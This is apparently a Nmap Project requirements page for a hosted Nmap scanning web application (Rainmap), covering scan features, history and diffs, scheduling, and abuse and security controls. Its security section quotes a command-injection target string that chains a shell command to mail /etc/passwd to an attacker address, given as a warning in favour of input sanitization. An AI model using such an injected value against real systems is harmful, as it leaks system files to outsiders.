Nmap Hosted Scanner

The goal of this project is to create a hosted application which allows users to log in and execute Nmap scans. They should be able to view the results online (using Nmap XML output, rendered to XHTML using the nmap.xsl stylesheet distributed with Nmap) or have the normal (-oN) output emailed to them. Users should also be able to view online (or have mailed to them) differences since the last time they executed a particular scan.

Update [March 26, 2011]: We already have an initial version named Rainmap. It was written last year by SoC student Alexandru Totolici in Python (using the Django framework). It is anticipated that a sponsored student will work on improving and extending Rainmap rather than starting from scratch. That being said, it is 100% OK to write your application as if you were starting from scratch. That will allow you to express your own vision and you may be able to add many of those ideas to Rainmap during the summer.

If users like this application enough, the Nmap Project may be willing to continue hosting it. It can be very handy to see what your network looks like from the outside. Being notified automatically when new ports open/close or machines go online (or offline) is also useful. Obviously providing such a service carries serious security and abuse risks, which is why those are a key focus of this document.

REQUIRED FEATURES

If you think of other important features/requirements for this document, or feel it should be changed in other ways, please post your suggestions to nmap-dev. Labels such as "should" or "would be nice" denote less-critical features that can be worked on last, while "musts" have to be met unless we agree to make changes. Here are the proposed features and infrastructure requirements for the new Nmap scripting engine:

• Everything in the General Requirements document.
• Obviously security is a huge concern with this sort of application. You don't want people passing "target" names such as "www.microsoft.com;mail evilhacker@gmail.com &ld; /etc/passwd". All user input must be sanitized very carefully. Follow best-practices for CGI security, such as limiting field values to known-trusted patterns rather than trying to remove "bad" characters.
• On the topic of security, you may not have Nmap be setuid root or run the web server or all of your CGIs as root. You may want a privileged daemon which picks up commands from a file (or whatever) created by the application and then runs Nmap and stores the results such that they are accessible by the CGI app. The main app would then be running as a custom, unprivileged user. And the Nmap daemon in that case would treat the app data as untrusted. You also may want to consider sandboxing approaches such as SELinux, or chroot + privilege dropping. Virtualization may play an important role.
• You must have root access to a UNIX machine connected to the Internet that you can set this up on. A virtual hosting provider such as Linode.com would likely be sufficient. If it turns out that you need a Linode account for testing, the Nmap Project will pay for it. You need to know how to set up Apache for CGIs (or whatever technology you wish to use). A Linux machine connected to a normal broadband connection should work fine. Note that the goal here is to produce an open source system that anyone can install on their own web servers. You certainly don't have to open this up to the public yourself. Fyodor needs an account during development for testing. He will only scan his own machines, and not get you into trouble :).
• Some people might open this up to the public, while others might only give their sysadmins access. So granular access controls are needed to prevent abuse. Email authentication (e.g. email them their first password) must be supported so that admins at least have a tiny amount of information on users. Admins should also be able to control which Nmap features are available to certain classes of users. In particular, new users should only be able to scan a limited number of hosts per day. Maybe 1024 daily IPs for PING scanning, and 32 for more intrusive scans such as what you get with -A. We need to be careful not to allow just anyone to use arbitrary NSE scripts like *-brute. We will have a very limited set of options allowed. Admins must be able to set network ranges that may never be scanned (Nmap supports this through its excludefile option). Admins must have the option to ban users based on their email address, as well as blocking future signups from an IP range or email address or email domain.
• If a database is used, work with Fyodor to decide which one to use (probably PostgreSQL, though there is some flexibility).
• Apache is suggested as the web server used, but using other UNIX web servers instead is probably fine.
• Users should be able to download results from a scan in Normal or XML formats.
• The system must work on Linux (ideally tested on a recent CentOS/RHEL). Supporting other systems may be desirable but is not required.
• You have a bit of lattitude in selecting the language for this system. Perl, Python, or C would be good choices. PHP is probably not OK. ASP and .Net are out of the question :). The term CGI is used in this document in a general sense to encompass just about any dynamic web functionality which will serve this (hosted Nmap) purpose.
• It must have a history feature so you can see results of your previous scans.
• When viewing a scan (as in from history), there should be a "repeat this scan" function which runs the same scan again. For example, you might want to scan your new server, disable some stupid services in an ssh window, then repeat the scan to ensure that the ports are now closed.
• You should be easily able to see the changes between two scans. Nmap comes with a tool named Ndiff for showing the changes.
• Automated scanning should be supported. Users can have it scan them every day, week, or month and email them the full results or just the difference since the previous scan.
• It needs to scale well enough to support thousands of users, including dozens of them executing scans at once.
• The system must be well-designed to be both pretty and usable. Obviously this is subjective, but it is still one of the most imporant requirements.
• The Admin must be able to specify options that are always used with Nmap. For example, they might want to always use a certain source address (-S) or a host-wide --excludefile. This may be a system-wide configuration file.
• The system must support Nmap status reports through progress reports or completion time estimates. Nmap provides this information in its XML output (and in its normal output too).
• You don't need to support all Nmap options, but must support the "most important" ones, like SYN scanning, version detection, OS detection, host discovery, traceroute, default NSE scripts (we may want to provide mor flexibility in the future on what NSE may be run), port specification, and more. Examples you don't need are Idle scan, FTP bounce scan, and maybe decoys and spoofing (-D, -S). Users can use the command-line version on their own machines for really custom and rare stuff. Work with Fyodor to define the list of supported options.
• Maybe the most trusted set of users should be able to execute their own custom command lines.
• Code should be clean and extensible. Adding support for a new Nmap option shouldn't be a huge pain.
• You should probably be able to store named profiles of scan types. Maybe users could make and save their own, or perhaps they have to be configured in the application in a config file or by admins with the web interface.
• May want to allow annotations (text string) to be added to scanned hosts. But if the app is just displaying but not parsing Nmap results, this may be more trouble than it is worth.
• Be careful of dependencies. This isn't as big of a deal as with other Nmap projects, but don't go overboard adding required infrastructure that isn't critical.
• The system must be documented with online help pages. These are probably best written Docbook XML or HTML or on a wiki. They may not be written in Word or a WYSIWYG HTML editor.
• Installation instructions must also be documented. And you should try to make installation and dependencies as easy and minimal as possible, while still meeting all of these requirements.
• Here is an example timeline for the project:
  1. Come up with an initial proposal, deciding how the system will work. Mock up the pages in HTML or with a photo editor like The Gimp/Photoshop and post a link to your proposal to nmap-dev for comments. Be sure to describe the security/sandboxing measures you plan to take.
  2. Write your initial timeline/milestones
  3. Incorporate feedback from nmap-dev and Fyodor. If changes are dramatic, repeat the review cycle until you and Fyodor are happy with it, and everyone has had a chance to contribute ideas.
  4. Actually implement the system. Test, re-test, fix bugs, etc. You may want to create a very limited, but usable version first. Then start adding all of the features. Make an account for Fyodor to play with. Be sure to document all the set-up tasks so that others can try installing this if they wish.